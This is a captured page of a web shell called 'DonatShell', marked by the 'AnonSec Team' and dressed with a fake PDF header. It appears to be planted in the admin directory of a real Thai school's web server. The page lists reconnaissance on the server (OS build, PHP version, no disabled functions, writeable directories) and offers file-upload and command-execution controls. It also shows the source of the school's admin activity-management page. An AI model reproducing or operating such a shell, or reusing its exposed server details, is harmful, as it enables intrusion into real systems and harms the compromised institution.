%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/admin//activity_manage.php
<?PHP
session_start(); 
if($_SESSION["UserAccess"]=="")
{
  header('Location: index.php');
  exit();
}
?>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/gijgo@1.9.6/js/gijgo.min.js" type="text/javascript"></script>
<link href="https://cdn.jsdelivr.net/npm/gijgo@1.9.6/css/gijgo.min.css" rel="stylesheet" type="text/css" />

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/baguettebox.js/1.10.0/baguetteBox.min.css" />
<link rel="stylesheet" href="grid-gallery.css">

<meta charset="utf-8">
<script>
    function CheckData() { 
        if(document.getElementById("activity_name").value == "") {
            swal("Bad job!", "ไม่ได้ระบุ 'ชื่องานกิจกรรม'", "warning");
            return false;
        }
        if(document.getElementById("activity_dt").value == "") {
            swal("Bad job!", "ไม่ได้ระบุ 'วันที่จัดกิจกรรม'", "warning");
            return false;
        }
        if(document.getElementById("activity_detail").value == "") {
            swal("Bad job!", "ไม่ได้ระบุ 'รายละเอียดกิจกรรม'", "warning");
            return false;
        }
        document.getElementById("activity_date").value = document.getElementById("activity_dt").value;
        //alert(document.getElementById("activity_date").value);
    }
</script>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

<div class="jumbotron text-center">
  <h1>จัดการกิจกรรม</h1>
  <p>จัดรูปภาพเข้าสู่กิจกรรมที่ท่านได้กำหนดไว้...รูปที่แสดงหน้าหลักควรมีขนาด 1090x730 Pexcils</p> 
</div>

<div class="container">
    <div class="row">
        <div class="col-12">
        <form action="save_activity.php" method="post" id="activity">
            <div class="form-group">
                <label for="exampleFormControlFile1">ชื่อกิจกรรม</label>
                <input type="text" class="form-control" aria-label="Default" aria-describedby="inputGroup-sizing-defaul" name="activity_name" id="activity_name">
            </div>        </div>
        <div class="col-12">
            <label for="exampleFormControlFile1">วันที่จัดกิจกรรม</label>
            <label class="radio-inline"><input type="radio" name="ActivytType" id="ActivytType" value="1" checked> กิจกรรมทั่วไป</label>
            <label class="radio-inline"><input type="radio" name="ActivytType" name="ActivytType" id="ActivytType" value="2"> ข่ายประชาสัมพันธ์</label>
            <label class="radio-inline"><input type="radio" name="ActivytType" name="ActivytType" id="ActivytType" value="3"> คนเก่ง KTC.</label>
            <label class="radio-inline"><input type="radio" name="ActivytType" name="ActivytType" id="ActivytType" value="4"> ข่าวสารผู้ปกครอง</label>
            <input type="hidden" id="activity_date" name="activity_date" value="">
            <input id="activity_dt"  width="276" name="activity_dt">
            <script>
                $('#activity_dt').datepicker({
                    uiLibrary: 'bootstrap4'
                });
            </script>
        </div>
        <div class="col-12">
            <div class="form-group">
                <label for="exampleFormControlFile1">รายละเอียดกิจกรรม</label>
                <textarea class="form-control" aria-label="With textarea" name="activity_detail" id="activity_detail" form="activity"></textarea>
            </div>
            <div class="row">
                <div class="col-6">
                    <input class="form-control btn btn-primary" type="submit" onclick="return CheckData()" value="บันทึกข้อมูล">
                </div>
                <div class="col-6">
                    <button type="button" class="form-control btn btn-secondary" onclick="self.close()">X Close</button>
                </div>
            </div>
        </div>
    </div>
    <P></P>
    <section class="gallery-block grid-gallery">
            <div class="container">
                <?PHP 
                    $dir = "../activity/upload_images/server/php/files/";
                    $a = scandir($dir,1);
                    $x=0;
                    for($i=0;$i<count($a);$i++) {
                        if(strpos($a[$i],".")) {
                            $img[$x] = $a[$i];
                            $x++;
                        }
                    } 
                ?>
                <div class="row">
                <?PHP for($j=0;$j<$x;$j++) { 
                    //echo $a[$j];    
                ?>
                    <div class="col-md-6 col-lg-4 item">
                        <img class="img-fluid image scale-on-hover" src="<?PHP echo $dir."".$img[$j]; ?>">
                        <div class="input-group mb-3">
                            <div class="input-group-prepend">
                                <div class="input-group-text">
                                <input type="checkbox" name="select_img_<?PHP echo $j; ?>" aria-label="Checkbox for following text input" checked>
                                </div>
                            </div>
                            <input type="text" class="form-control" aria-label="Text input with checkbox" value="<?PHP echo $img[$j]; ?>" name="file_img_<?PHP echo $j; ?>" readonly>

                            <div class="input-group-prepend">
                                <div class="input-group-text">
                                <input type="radio" name="imgMain" value="<?PHP echo $img[$j]; ?>" aria-label="Checkbox for following text input" checked>
                                </div>
                            </div>
                            <input type="text" class="form-control" aria-label="Text input with checkbox" value="รูปภาพหลัก"  readonly>
                        </div>
                        
                        <hr>
                    </div>
                <?PHP } ?>
                </div>
                <hr>
                <input type="hidden" id="actiity_ct_img" name="actiity_ct_img" value="<?PHP echo $x; ?>">
            </div>
        </section>
        </form>
</div>

Anon7 - 2022
AnonSec Team